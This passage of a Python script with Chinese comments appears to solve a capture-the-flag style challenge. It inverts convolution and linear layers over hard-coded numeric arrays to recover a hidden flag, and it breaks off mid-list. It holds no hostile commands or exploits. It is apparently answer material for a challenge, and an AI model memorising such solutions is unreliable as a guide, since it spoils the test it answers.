            -9235.0, -193087.0, 133627.0, -68920.0, 2968.0, 263404.0, -444304.0, -71934.0, 85760.0, 156135.0, -83517.0,
            -190835.0, 155298.0, 52338.0, -595925.0, 175784.0, 114423.0, -169454.0, 84605.0, -73115.0, -402433.0,
            110702.0, 256261.0, 23156.0, -173834.0, -65830.0, -82744.0, -37464.0, 367059.0, -336474.0, -206715.0,
            -47149.0, 244881.0, -73856.0, -101113.0, 69098.0, 79326.0, -21340.0, -233140.0,
            290476.0, -190697.0, -285222.0, 132440.0, -175309.0, 260295.0, -3697.0, -194450.0, 70525.0, -392891.0,
            321751.0, -234293.0, 329600.0, -311523.0, -259386.0, 91847.0, -32962.0, 10439.0, -64077.0, 47112.0, 35581.0,
            139169.0, -208479.0, -29321.0, -211213.0, -51524.0, 224126.0, -170749.0, -16345.0, 19834.0, -511632.0,
            431396.0, 152784.0, -130630.0, -14190.0, -128012.0, 112033.0, -72854.0, 19672.0, -204559.0, -146773.0,
            -13028.0, 167632.0, 90457.0, -178442.0, -156.0, 13793.0, 72462.0, -347229.0,
            335708.0, -249109.0, -193068.0, 56780.0, -20298.0, -174106.0, 9070.0, 123853.0, -279343.0, -33203.0,
            156082.0, -256067.0, 331613.0, -386358.0, -116773.0, -30165.0, -20388.0, 138542.0, -208094.0, 5911.0,
            47010.0, 295502.0, -277411.0, 42789.0, -126797.0, 28609.0, 4523.0, -21525.0, -90683.0, -24611.0, -330373.0,
            353038.0, 135744.0, -145736.0, -58170.0, -133554.0, 49909.0, -128627.0, -135924.0, 94383.0, 81446.0,
            -347828.0, 57657.0, 41353.0, 163041.0, -85761.0, -103253.0, -112545.0, -46666.0,
            168356.0, -97337.0, 144039.0, -370921.0, -91539.0, -100757.0, 301863.0, -6340.0, -214645.0, 114749.0,
            -91675.0, -217239.0, 84039.0, -79358.0, 22587.0, -109117.0, -68550.0, -19993.0, -40249.0, 164335.0,
            -38907.0, 91176.0, 66628.0, -59324.0, -228450.0, 52589.0, -200942.0, -159623.0, 239625.0, -239935.0,
            -97611.0, 71999.0, 39643.0, -38953.0, -40030.0, 69809.0, -363484.0, 9515.0, -25671.0, 177895.0, 658.0,
            -252145.0, -88149.0, -111784.0, 189775.0, -26548.0, 124251.0, -276176.0, 88892.0,
            -10772.0, 86882.0, 80768.0, -137687.0, -336584.0, 371691.0, -31675.0, 154734.0, -312732.0, -119556.0,
            170376.0, -254874.0, -26162.0, 210997.0, -188226.0, -171709.0, 94696.0, -67859.0, 222858.0, -9556.0,
            -274302.0, -173889.0, 269576.0, -99156.0, -79872.0, 56373.0, -182721.0, -41368.0, 329773.0, -310233.0,
            -140666.0, -70740.0, 120084.0, 81542.0, -112719.0, 179223.0, -331779.0, -2069.0, 252987.0, -260700.0,
            117024.0, -127279.0, 143930.0, -116577.0, -41200.0, -40241.0, 126676.0, -145101.0, -30013.0,
            -100031.0, 227856.0, -77803.0, 137540.0, -276368.0, 165923.0, -198185.0, 194014.0, -252012.0, -40178.0,
            39201.0, 5534.0, -66475.0, 155154.0, -30772.0, -311235.0, 41264.0, 79136.0, 224483.0, -400160.0, -221298.0,
            -3236.0, 124774.0, 132597.0, 70411.0, -207510.0, 105083.0, -32427.0, -92192.0, -58123.0, 58825.0, -355627.0,
            242270.0, 203172.0, -214164.0, 117187.0, -132957.0, -21842.0, 342979.0, -499535.0, 57166.0, -16758.0,
            -50455.0, 46775.0, -119151.0, 144653.0, -185130.0, -120150.0, 15846.0,
            -55106.0, 295457.0, -120281.0, 11925.0, -242465.0, -29848.0, -134023.0, 112931.0, -90769.0, 40859.0,
            -58969.0, 220079.0, -67119.0, 115800.0, -47152.0, -86026.0, -221717.0, -33970.0, 36652.0, 56112.0,
            -412865.0, 331256.0, -124650.0, -65179.0, 192684.0, -432161.0, 186271.0, -92375.0, -175713.0, 113056.0,
            85280.0, -139855.0, 9348.0, 285251.0, -170843.0, -38020.0, 32688.0, 10691.0, 86373.0, -112329.0, -220537.0,
            65875.0, -39705.0, -189470.0, -148163.0, 222030.0, 24127.0, -251726.0, 125670.0,
            101023.0, 76715.0, 51007.0, -287215.0, -144737.0, -102741.0, 74868.0, 25861.0, -224512.0, 110477.0,
            255943.0, -77528.0, -175885.0, 50421.0, -9464.0, -33073.0, -188419.0, -20867.0, 130819.0, 23552.0,
            -277706.0, 231286.0, -228223.0, -76406.0, 12054.0, -151670.0, 4668.0, -5079.0, 3674.0, -174019.0, -32507.0,
            64185.0, -30855.0, 233226.0, -206307.0, -70071.0, 14906.0, 20816.0, -128000.0, 116405.0, 94320.0, 22210.0,
            -131980.0, -49448.0, -341664.0, 223199.0, 269729.0, -320646.0, -74953.0,
            63796.0, 146414.0, -11948.0, -281592.0, -147218.0, -51635.0, 119228.0, -59374.0, -92311.0, 135457.0,
            18220.0, -52068.0, -47427.0, -302877.0, 233817.0, 124946.0, -195476.0, -172166.0, 356024.0, -323722.0,
            101732.0, -112622.0, -59176.0, 208414.0, -150550.0, -107669.0, -156882.0, 2460.0, -48787.0, -88112.0,
            16156.0, -87425.0, 2939.0, 9806.0, -125448.0, -3856.0, -175860.0, 233379.0, -218661.0, -88919.0, 296853.0,
            -183138.0, 10055.0, 37242.0, -406824.0, 329414.0, 87076.0, -164556.0, -437806.0,
            -50194.0, 296109.0, -125567.0, -292690.0, 7586.0, 55418.0, 67038.0, -77941.0, -48465.0, 218001.0, -129354.0,
            -160960.0, 217836.0, -404244.0, 381932.0, -86047.0, -135083.0, -166184.0, 66183.0, -845.0, 44287.0,
            -60181.0, -69789.0, 97726.0, 4939.0, -236533.0, -128603.0, 115110.0, 37509.0, 37743.0, -234156.0, 230098.0,
            -389530.0, 52780.0, 168626.0, -49538.0, -169156.0, 92409.0, 106410.0, -255581.0, -9140.0, -68317.0,
            155500.0, -143818.0, -40670.0, 69996.0, -41470.0, -100162.0, -365467.0,
            169811.0, 38580.0, -129859.0, -323109.0, 66602.0, 20069.0, 33017.0, 104346.0, -162882.0, 78462.0, 102790.0,
            -323433.0, -87154.0, -78362.0, 275681.0, -401172.0, 416409.0, -117936.0, -63031.0, 114278.0, -107385.0,
            30414.0, -45810.0, 55572.0, 193106.0, -428397.0, 101376.0, 53513.0, -52268.0, 16807.0, -175161.0, 145016.0,
            -246545.0, 155748.0, -128829.0, 80642.0, -32364.0, 21285.0, 45889.0, -159537.0, 11440.0, -187631.0, 33500.0,
            -95773.0, 284665.0, -227517.0, 159668.0, -305183.0, -51639.0,
            124541.0, -28670.0, -93049.0, -136985.0, -144831.0, 286001.0, -40149.0, -37210.0, -27022.0, -116090.0,
            157880.0, -272265.0, -237470.0, 234506.0, -178953.0, 6627.0, 241788.0, -46972.0, -158663.0, 88098.0,
            -91350.0, 3578.0, -17013.0, 103653.0, 175069.0, -353518.0, -143715.0, 178122.0, -239857.0, 213845.0,
            -32217.0, -192557.0, 62626.0, -112708.0, -87116.0, -40650.0, 108977.0, -348552.0, 228579.0, -17160.0,
            157056.0, -233070.0, -82663.0, -161607.0, 71557.0, 34608.0, 198506.0, -297109.0, 72165.0,
            -101141.0, 152776.0, 106081.0, 4047.0, -328163.0, 364098.0, -143005.0, -241524.0, 189904.0, -183371.0,
            5419.0, -61728.0, 100108.0, -44651.0, -111636.0, 217150.0, -127491.0, -170449.0, -105133.0, -76491.0,
            49111.0, 99256.0, -106298.0, 56066.0, 4969.0, -213842.0, -44087.0, 112846.0, 84337.0, 70276.0, -109732.0,
            -117875.0, 113199.0, -309553.0, 76498.0, -51776.0, 128236.0, -336313.0, 295730.0, -46788.0, 19842.0,
            -56542.0, -241983.0, -33765.0, 236149.0, -279812.0, 204359.0, -59578.0, -152491.0,
            -3896.0, 144243.0, -57697.0, 48345.0, -419718.0, 383874.0, -88314.0, -268037.0, 249712.0, -138486.0,
            -238790.0, 75663.0, -6317.0, 39396.0, 289885.0, -351831.0, 78226.0, -307521.0, 340572.0, -151825.0, -6624.0,
            -93540.0, 116612.0, -66063.0, -122630.0, -62670.0, -154786.0, 72439.0, -24815.0, 188820.0, -205674.0,
            90673.0, -129864.0, -103890.0, 55489.0, -247821.0, 350335.0, 21286.0, -33285.0, -165655.0, -85070.0,
            35590.0, -254614.0, 183734.0, 76730.0, -350157.0, 320565.0, -81257.0, -319089.0,
            81681.0, -120639.0, 28001.0, 110667.0, -320734.0, 378714.0, -238715.0, -152124.0, 298746.0, -67026.0,
            -124050.0, -50009.0, -170219.0, 215569.0, -42775.0, -318178.0, 276552.0, -126608.0, 359092.0, -62965.0,
            -54558.0, -190622.0, 269698.0, -214278.0, -187932.0, 185470.0, -504107.0, 193318.0, -189130.0, 285776.0,
            -231984.0, 128583.0, -167569.0, 112380.0, -121568.0, -116197.0, 193484.0, 48940.0, -28346.0, -308678.0,
            133656.0, -125536.0, -74803.0, -38991.0, 22465.0, -109564.0, 87844.0, 78730.0, -258164.0,
            97356.0, -112901.0, 41473.0, -50841.0, -15515.0, 233796.0, -160614.0, -127704.0, -59798.0, 137374.0,
            -49356.0, -209948.0, -105981.0, 35192.0, -47521.0, 25871.0, -150358.0, 194144.0, 30324.0, 46228.0, 69369.0,
            -99420.0, -195701.0, 165880.0, -180186.0, 228441.0, -230704.0, -105731.0, -149830.0, 304625.0, -130139.0,
            -124090.0, -61219.0, 175204.0, -139140.0, 50072.0, 32852.0, -282742.0, 72300.0, 104526.0, -77454.0,
            -46318.0, 194653.0, -388715.0, 130915.0, -28831.0, -45253.0, 90940.0, -34444.0,
            -63779.0, 133601.0, -2280.0, -78412.0, -36107.0, 76809.0, 129607.0, -160817.0, -171972.0, 79508.0, 2289.0,
            -113656.0, -134003.0, -54022.0, 140323.0, -72033.0, -302354.0, 216616.0, -108426.0, -101760.0, 330659.0,
            -145545.0, -319742.0, 257481.0, 61775.0, 85189.0, -132123.0, -94462.0, -108918.0, 178548.0, -36713.0,
            -210238.0, -291103.0, 271729.0, 37330.0, -191742.0, 156337.0, -168211.0, 111520.0, 223429.0, -297372.0,
            -70114.0, 208768.0, -399267.0, 139823.0, -66225.0, -7471.0, -89330.0, 84945.0,
            -9295.0, 106640.0, 102415.0, -148886.0, -55273.0, -44612.0, 186290.0, -416212.0, 134694.0, -200296.0,
            118164.0, 17883.0, 52700.0, -176689.0, 12024.0, -111331.0, -98070.0, 27640.0, 15600.0, -68794.0, -5174.0,
            14499.0, -157205.0, 132959.0, 51226.0, 93260.0, -170452.0, -92210.0, 99918.0, -19287.0, -214107.0, 166322.0,
            -411637.0, 385948.0, -64033.0, -362750.0, 356827.0, 111244.0, 38380.0, -78569.0, -54349.0, -323654.0,
            -20342.0, 89035.0, -118752.0, -112209.0, 1037.0, -240632.0, 39138.0,
            117158.0, -68728.0, 101377.0, -111993.0, -132155.0, -64742.0, 155660.0, -461672.0, 43362.0, 980.0, 236507.0,
            -35960.0, -57989.0, -324611.0, 96350.0, 26963.0, -89356.0, 126244.0, 52250.0, 79638.0, -232980.0, 18531.0,
            67629.0, -157213.0, 165331.0, 15235.0, -78462.0, -52200.0, 72846.0, -171153.0, -2842.0, -80771.0, -49648.0,
            9192.0, 95121.0, -91281.0, -8125.0, 250293.0, -146450.0, 39082.0, -181176.0, -174141.0, -89016.0, 292574.0,
            -295143.0, -13722.0, -217268.0, -84794.0, -31369.0,
            230977.0, -263440.0, 31662.0, 102877.0, -311122.0, 141522.0, 55891.0, -377059.0, 129483.0, -8501.0,
            200015.0, -1228.0, -216690.0, -167682.0, 55504.0, 68558.0, -67998.0, 105374.0, 53669.0, -196863.0, 89626.0,
            30594.0, -76882.0, -91828.0, 121366.0, 48033.0, -36844.0, 15166.0, -169609.0, 3262.0, 25300.0, -223218.0,
            -38429.0, -93373.0, 17087.0, 218946.0, -263819.0, 212164.0, 55861.0, -43520.0, -184240.0, -131111.0,
            -80569.0, 184194.0, -125314.0, -74976.0, -283555.0, 184473.0, -57317.0,
            160549.0, -113997.0, -19386.0, -33030.0, 100026.0, -139603.0, -151950.0, -122422.0, 12919.0, -93141.0,
            147387.0, -4474.0, -105338.0, -156129.0, -20496.0, -1730.0, 56364.0, -5661.0, 87734.0, -213139.0, -19490.0,
            239580.0, -274582.0, 122956.0, -234251.0, 137273.0, -78872.0, -135598.0, -40253.0, 200175.0, -256014.0,
            214088.0, -368209.0, 119363.0, -6717.0, 149491.0, -267111.0, -43828.0, 319261.0, -211501.0, -167471.0,
            -227895.0, 157237.0, -48638.0, 53210.0, -33080.0, -143171.0, 54346.0, -61121.0,
            49681.0, 31876.0, -21618.0, -59481.0, 52413.0, -199632.0, -100903.0, 232543.0, -258645.0, -29237.0,
            223308.0, -81455.0, -70384.0, -257662.0, 128094.0, -134143.0, 176063.0, -73443.0, -34604.0, -14893.0,
            -59835.0, 164130.0, -277920.0, 48607.0, -118077.0, -17205.0, -128853.0, -161363.0, 145811.0, 344562.0,
            -469141.0, 253120.0, -228529.0, 53375.0, -24925.0, 216360.0, -280015.0, -218832.0, 216277.0, -50355.0,
            -31656.0, 11903.0, -49053.0, -83432.0, -37430.0, 9922.0, -94830.0, 229308.0, -431063.0,
            -16061.0, -19959.0, 42432.0, -188682.0, 388100.0, -273346.0, 162135.0, 252501.0, -211444.0, -242678.0,
            92791.0, -252548.0, 278387.0, -113089.0, -76071.0, 85225.0, 10483.0, -59241.0, -246756.0, 17401.0, 53458.0,
            163621.0, -376326.0, -122030.0, 101967.0, -136220.0, -9562.0, -103567.0, 51549.0, 82006.0, -208326.0,
            129731.0, -59496.0, -100573.0, 14231.0, 78336.0, -248277.0, -3871.0, 204411.0, 28546.0, -142449.0, 61076.0,
            103974.0, -241217.0, 170053.0, -216738.0, -74639.0, 38310.0, -178485.0,
            142078.0, -106535.0, -178141.0, 121072.0, -38923.0, 14125.0, 179641.0, 86692.0, -114755.0, -281583.0,
            -4434.0, -130170.0, 199052.0, -43445.0, -169683.0, 321347.0, -80163.0, -15577.0, -249477.0, -7865.0,
            -67499.0, 198136.0, -281219.0, 10768.0, -192963.0, 93843.0, -21384.0, -29455.0, -5443.0, -258010.0,
            -23764.0, 130173.0, 58626.0, -245847.0, 107011.0, -93712.0, 11720.0, -94255.0, 171304.0, 38986.0, -7337.0,
            -60947.0, 154436.0, -275028.0, 202932.0, -219404.0, -8830.0, -79839.0, 46562.0,
            201207.0, -84364.0, -384464.0, 438987.0, -525694.0, 295059.0, 75836.0, -181589.0, 244971.0, -270003.0,
            -53695.0, -146195.0, 233396.0, -207727.0, -83174.0, 260920.0, 74249.0, -202196.0, -21006.0, -106603.0,
            -39880.0, -82999.0, 59954.0, 48730.0, -81904.0, 174164.0, -276290.0, 217930.0, -243981.0, -47344.0,
            -110945.0, 49602.0, 248632.0, -311741.0, -163737.0, 168.0, 35248.0, -86470.0, -36651.0, 137719.0, 105503.0,
            -149291.0, -62020.0, -60811.0, 112609.0, 27815.0, 176430.0, -275392.0, 12980.0,
            97862.0, -80442.0, -242357.0, 360173.0, -208221.0, 27333.0, 14154.0, -257125.0, 358385.0, -31403.0, -4158.0,
            -185577.0, 300443.0, -278468.0, 135436.0, -83994.0, 59322.0, -84854.0, -198944.0, 47837.0, 124798.0,
            -383504.0, 111637.0, -43945.0, 295269.0, -141921.0, 73432.0, -186925.0, -16268.0, 75380.0, 54227.0, 81284.0,
            -49196.0, -136765.0, -135443.0, -155481.0, 65928.0, 26245.0, -217314.0, -41347.0, 151381.0, -45406.0,
            -198745.0, -20496.0, 162713.0, 76801.0, 112250.0, -406680.0, 65658.0,
            109662.0, 66451.0, -529193.0, 461453.0, -105224.0, 120483.0, -105394.0, -263485.0, 75898.0, 26794.0,
            271378.0, -241233.0, 78304.0, -312038.0, 504215.0, -236405.0, -78966.0, 113257.0, -307559.0, 141314.0,
            88642.0, -199526.0, 28207.0, -74962.0, 62035.0, -167492.0, 277258.0, -211824.0, 34363.0, 78296.0, -72207.0,
            477463.0, -440230.0, -46126.0, 67977.0, -144744.0, 41808.0, -1666.0, 46835.0, -146234.0, 253422.0,
            -295419.0, -263048.0, 198817.0, -126277.0, 33314.0, 234547.0, -319340.0, -44392.0,
            160828.0, -94920.0, -321876.0, 341158.0, -42690.0, -82425.0, 127569.0, -186777.0, -203423.0, -141591.0,
            380047.0, -132206.0, -95735.0, -296146.0, 508137.0, -332383.0, -184336.0, 373036.0, -220929.0, 33730.0,
            -124726.0, 68713.0, -62877.0, -170328.0, -94790.0, 121233.0, -38052.0, 231037.0, -346635.0, 298882.0,
            -243298.0, 158587.0, -238673.0, -172753.0, 196037.0, -18823.0, -50110.0, -36442.0, 223011.0, -106854.0,
            44717.0, -414426.0, 4064.0, 172597.0, -223825.0, 138749.0, -6586.0, -123567.0, -67191.0,
            151564.0, 5447.0, -159606.0, -15476.0, 45465.0, -329411.0, 242830.0, 40718.0, -185981.0, 4551.0, -221069.0,
            122610.0, -154076.0, -188381.0, 385534.0, -473377.0, -33732.0, 134841.0, -29957.0, 98739.0, -69567.0,
            61851.0, -328081.0, 161551.0, -165623.0, 160734.0, 27881.0, 196877.0, -250873.0, 20076.0, 11861.0,
            -193206.0, 139458.0, -234558.0, 146845.0, -160746.0, -143298.0, 131167.0, -31889.0, 16092.0, -217262.0,
            -181225.0, 351047.0, -132116.0, -108240.0, 21819.0, -206132.0, 100693.0, -186400.0,
            110267.0, 11303.0, -210381.0, 222824.0, -216227.0, -165416.0, -116904.0, 408878.0, -28295.0, -79072.0,
            -521530.0, 340127.0, -142192.0, -156044.0, -13287.0, -168145.0, 278776.0, -142339.0, -69349.0, 234023.0,
            61236.0, -324982.0, 166857.0, 44272.0, -326083.0, 40345.0, 138856.0, -13159.0, 17768.0, -335433.0, 246826.0,
            -57881.0, 125457.0, 13910.0, 116165.0, -446367.0, 52369.0, 203064.0, -199386.0, -112710.0, 176112.0,
            -386814.0, 498017.0, -171053.0, -121320.0, 26122.0, -111860.0, -101372.0, -206622.0,
            236237.0, -282385.0, -77070.0, 168994.0, -156247.0, 180505.0, -262858.0, 206190.0, 6986.0, -161710.0,
            -224702.0, 210090.0, 66464.0, -331841.0, 51370.0, -21313.0, 38071.0, -110704.0, 93934.0, 116495.0,
            -183226.0, -222947.0, 375783.0, -324315.0, 106247.0, -26875.0, 20788.0, -208895.0, 10302.0, -177007.0,
            252287.0, -148703.0, 81364.0, 57085.0, 568.0, -266347.0, 256965.0, -104777.0, -181603.0, -92725.0, 506471.0,
            -556989.0, 504047.0, -311023.0, -154572.0, 32542.0, -48343.0, -82803.0, -190704.0,
            121692.0, -26761.0, -40759.0, -217346.0, 20156.0, 64846.0, 72189.0, -129982.0, 40861.0, -117704.0, 17420.0,
            -67028.0, 7594.0, -111316.0, 153697.0, 54036.0, -189641.0, -25992.0, -24702.0, -19298.0, -253427.0,
            172876.0, 96979.0, -169642.0, 145922.0, -65494.0, -64703.0, 6904.0, -140479.0, -57233.0, 32482.0, -56683.0,
            77295.0, -173908.0, -149425.0, 67833.0, 173074.0, -182181.0, -271998.0, 73196.0, 440621.0, -478299.0,
            241079.0, -422931.0, 121222.0, 240945.0, -266096.0, 25756.0, -211698.0,
            116873.0, -3353.0, -97545.0, -99949.0, 94227.0, -111087.0, -87259.0, 112396.0, -93210.0, -153622.0,
            182213.0, -53015.0, 23723.0, -177093.0, 196643.0, -32668.0, -54388.0, -86688.0, -107133.0, -252488.0,
            -79538.0, 79686.0, 35542.0, 55714.0, -109973.0, -39328.0, -93946.0, -13778.0, -14447.0, -14447.0, -137542.0,
            205331.0, 13727.0, -294316.0, 184865.0, -63693.0, 34755.0, -45216.0, -237206.0, 173459.0, 376621.0,
            -541603.0, 306105.0, -416208.0, 86704.0, 398037.0, -351619.0, -20148.0, -103052.0,
            280571.0, -339034.0, 23028.0, -69654.0, 221117.0, -149162.0, -214164.0, 160374.0, -214167.0, -222898.0,
            322413.0, -227947.0, 407223.0, -279064.0, -176193.0, 116439.0, -53475.0, -19852.0, 147176.0, -450161.0,
            19517.0, 12302.0, 38286.0, 95505.0, -202248.0, 91685.0, 59187.0, -419468.0, 227645.0, -325564.0, 88113.0,
            271487.0, -119.0, -3541.0, 312189.0, -441555.0, 250018.0, -112151.0, -35039.0, -191042.0, 413284.0,
            -537402.0, 416171.0, -298720.0, -57441.0, 68999.0, 15509.0, -56212.0, -173152.0,
            182574.0, -125509.0, -34259.0, -117178.0, -35479.0, 33390.0, 33013.0, -60143.0, -29664.0, -267835.0,
            133152.0, -151775.0, 157058.0, 206032.0, -407233.0, 389577.0, -425099.0, 146997.0, 42519.0, 3472.0,
            -116812.0, 126584.0, -36468.0, -74478.0, -157147.0, 220171.0, -8933.0, -409424.0, 54939.0, -142194.0,
            198769.0, -47020.0, 2038.0, 124030.0, 11810.0, -179811.0, -5183.0, -21434.0, -160083.0, -131988.0, 235424.0,
            -279013.0, 156178.0, -111889.0, -84231.0, 622.0, 220860.0, -296876.0, -93494.0,
            88478.0, 51515.0, -255501.0, 122397.0, -130484.0, 133048.0, -86846.0, 44588.0, -115393.0, -75198.0, 46542.0,
            -5501.0, 131862.0, -96615.0, -226580.0, 207305.0, -325694.0, -97416.0, 88664.0, 95661.0, -144361.0, 56321.0,
            -107395.0, 31133.0, -129941.0, 1163.0, 10291.0, -37001.0, 141428.0, -150056.0, 225958.0, -224289.0,
            -190990.0, 69718.0, -114439.0, 263521.0, -391077.0, 255283.0, -252574.0, 84673.0, 88318.0, -95828.0,
            -81452.0, -7511.0, -168658.0, 108692.0, 238776.0, -253911.0, -94803.0,
            105689.0, -52665.0, -178950.0, 103874.0, 199122.0, -202498.0, -107511.0, 105827.0, -34134.0, -158724.0,
            85138.0, -154859.0, 498084.0, -632968.0, -30777.0, 1233.0, -2335.0, -181276.0, 166492.0, -73185.0, -22860.0,
            -323238.0, -69264.0, 230334.0, -88488.0, -93645.0, 48211.0, 140509.0, -104990.0, 48427.0, 44717.0,
            -143336.0, -40101.0, 86812.0, -162738.0, 146331.0, -87594.0, 132732.0, -38568.0, -291093.0, 266245.0,
            -203132.0, -116134.0, 49457.0, 217182.0, -93703.0, 8391.0, -25431.0, -139911.0,
            3627.0, 520.0, 101224.0, -112692.0, 75152.0, -83468.0, -115293.0, 127711.0, -74616.0, 32958.0, -35925.0,
            -337466.0, 340674.0, -163840.0, -44619.0, -96517.0, -5776.0, -58166.0, -56358.0, -19520.0, 26194.0,
            -306125.0, -12583.0, 212583.0, -76679.0, -91659.0, -55403.0, 78033.0, -83696.0, 19763.0, -128008.0,
            -52251.0, 100442.0, -53823.0, -130075.0, 83557.0, -195207.0, 226694.0, -58767.0, -335197.0, 63680.0,
            113333.0, -308298.0, 74955.0, 200285.0, -56978.0, -189886.0, -320685.0, 178344.0,
            82499.0, -6831.0, 149687.0, -221626.0, -257037.0, 168755.0, -81862.0, 231142.0, -332307.0, 92309.0,
            138069.0, -249476.0, 86008.0, -140752.0, 54212.0, -184347.0, -27123.0, -120634.0, -56483.0, 136845.0,
            -212721.0, 95259.0, -111640.0, 54335.0, 246731.0, -254504.0, 239.0, 9277.0, 130805.0, -570108.0, 151366.0,
            -137244.0, 205044.0, -155779.0, -218380.0, 116866.0, -354098.0, 445333.0, -115738.0, -149432.0, -270890.0,
            106948.0, -165248.0, 128777.0, 43466.0, 31818.0, -285437.0, -102204.0, 11894.0,
            193402.0, -270474.0, 252758.0, -177814.0, -140527.0, -93458.0, 194483.0, -70191.0, -90798.0, -63633.0,
            24340.0, -142096.0, 259719.0, -392801.0, 143994.0, -206671.0, -141966.0, -19193.0, 56092.0, 21965.0,
            -83570.0, 150941.0, -231865.0, 201394.0, -20076.0, -58659.0, -36323.0, -84634.0, -9254.0, -186217.0,
            -101929.0, 32358.0, 96450.0, -233156.0, -188798.0, 123359.0, -266080.0, 360233.0, -136578.0, -143272.0,
            48946.0, -79202.0, -260306.0, 121904.0, 273109.0, -777.0, -193846.0, -63900.0, -1094.0,
            250852.0, -393709.0, 93388.0, 14609.0, 178605.0, -318265.0, 320954.0, -426669.0, -46329.0, 152974.0,
            -111072.0, 183212.0, -26406.0, -161501.0, 76206.0, -155099.0, -128450.0, 222228.0, -172620.0, -3713.0,
            157890.0, -36945.0, -363899.0, 504383.0, -387811.0, 115467.0, 48783.0, -194528.0, -51526.0, 173316.0,
            -273618.0, -105145.0, 35041.0, -298567.0, 150643.0, -209362.0, 127080.0, 355539.0, -502060.0, 302446.0,
            -71738.0, 53085.0, -443189.0, 274500.0, 162268.0, 55345.0, 81232.0, -332707.0, -6229.0,
            240285.0, -214733.0, -127114.0, 46894.0, 142426.0, -340899.0, 434692.0, -607267.0, 90291.0, 89179.0, 180.0,
            325013.0, -325329.0, 90783.0, -137502.0, 160340.0, -289522.0, 122492.0, -121789.0, -291715.0, 408694.0,
            -194500.0, -135597.0, 233047.0, 54902.0, -212625.0, 183163.0, -386457.0, 29811.0, 293827.0, -179074.0,
            -221080.0, 15095.0, -280264.0, 220373.0, -98820.0, 75633.0, 308263.0, -589475.0, 276846.0, 164151.0,
            -227209.0, -52307.0, 63006.0, -207457.0, 85558.0, 165626.0, -117025.0, -131073.0,
            93879.0, -58305.0, 153490.0, -355250.0, 35042.0, -183308.0, 504104.0, -383927.0, -20660.0, -39780.0,
            221725.0, 109172.0, -352638.0, 49080.0, -101895.0, 45538.0, -232990.0, 101298.0, 11476.0, -378003.0,
            372897.0, -200984.0, 7129.0, 24845.0, 43195.0, -125352.0, 152822.0, -268015.0, -94284.0, 97169.0, 2072.0,
            -210648.0, -65885.0, -108524.0, 138367.0, 73643.0, -310605.0, 426956.0, -219779.0, -127198.0, 127865.0,
            -109942.0, 56860.0, -347043.0, -29330.0, -6792.0, 52177.0, 132409.0, -86646.0,
            6783.0, -13048.0, 153932.0, -262553.0, 29882.0, -20420.0, 210615.0, -73721.0, -109415.0, 8114.0, 158386.0,
            -7319.0, -175830.0, -9674.0, 17031.0, -79718.0, -13011.0, 80749.0, -11428.0, -104233.0, 78053.0, -73692.0,
            -23992.0, 33802.0, -82914.0, 48331.0, 44690.0, -55101.0, -107973.0, -67995.0, 69407.0, -116083.0, -18476.0,
            8409.0, 59598.0, 3074.0, -159436.0, 249947.0, -17986.0, -106807.0, -86496.0, 87117.0, -19463.0, -189352.0,
            92334.0, -35589.0, -7446.0, 74564.0, -35042.0]

    # 先把 data 变成 49x49 的矩阵 (题主已有这一步)
    data_length = len(data)
    required_length = 49 * 49

    if data_length < required_length:
        data = np.pad(data, (0, required_length - data_length),
                        mode='constant', constant_values=0)
    elif data_length > required_length:
        data = data[:required_length]

    matrix = np.array(data).reshape((49, 49))
    print(matrix)

    # ========== 2) 已知卷积核和偏置 ==========
    weight = np.array([[7., -5.],
                        [9., -7.]])
    bias = -7.0

    # ========== 3) 进行“反卷积”推回 ==========
    X_big = reverse_convolution_2x2(matrix, weight, bias)

    # X_big.shape == (50, 50)
    # 其中 X_big[1:49, 1:49] 才是真正的原始数据(48x48)
    X_original = X_big[1:49, 1:49]

    print("还原后的带padding大矩阵 X_big.shape:", X_big.shape)
    print("取中间 48x48 作为原始数据 X_original.shape:", X_original.shape)
    #np.set_printoptions(threshold=np.inf)  # 显示完整矩阵
    # 你可以根据需要,打印或保存 X_original 做进一步分析
    print(X_original)

    w1=[[ -6,   1,  -3,   6,  -4,  -8,   2,   5,   3,  -1,  -1,  -1,
            2,   7,   6,   0,   6,   6,   5,   5,   2,   7,  -8,  -1,
            1,  -9,   1,  -6,   3,   7,   6,   2,   1,   0,  -2,  -8,
            -5,   6,   6,   6,  -3,   9,  -1,  -2,  -8,   4,   4,  -4],
            ...
            0.,   0.,   5.,   5.,  -8.,   7.,   4.,   7., -10.,   7.,   0.,  -8.,
            9.,   9.,  -4.,  -2.,  -3.,   4.,  -2.,   5.,   2.,   4.,   1.,  -1.,
            -1.,   8.,   4.,  -7.,   6.,   6.,  -8.,   3.,   9.,   7.,  -4.,   1.]

    x_matmul = inverse_linear_layer( X_original, w1, b, method="matrix_multiply")
    print("方法A(multiply)得到的 x_1x48:\n", x_matmul.shape, "\n", x_matmul)

    g = np.array([[1, 2, 4],
                    [8, 16, 32],
                    [64, 128, 256]])
    bias = 6

    # 定义卷积输出 f
    f = [298, 352, 380, 298, 368, 299, 266, 206, 108, 298, 104, 303, 298, 430, 489, 298, 381, 388, 298, 370, 499, 298,
            227, 242, 298, 372, 461, 298, 401, 500, 298, 379, 130, 298, 115, 308, 298, 239, 106, 298, 100, 277, 42, 83,
            299, 266, 499, 341]

    # 计算输入矩阵的形状
    input_shape = (3, 144)
    stride = 3
    kernel_size = (3, 3)

    # 逆向重构输入补丁
    patches = reconstruct_patches(f, g, bias)

    # 组装输入矩阵
    input_matrix = assemble_input_matrix(patches, input_shape, stride, kernel_size)

    print("重构的输入矩阵 (3x48):")
    print(input_matrix)
    flag = ''

    f = [0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0
        , 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1
        , 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1
        , 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1,
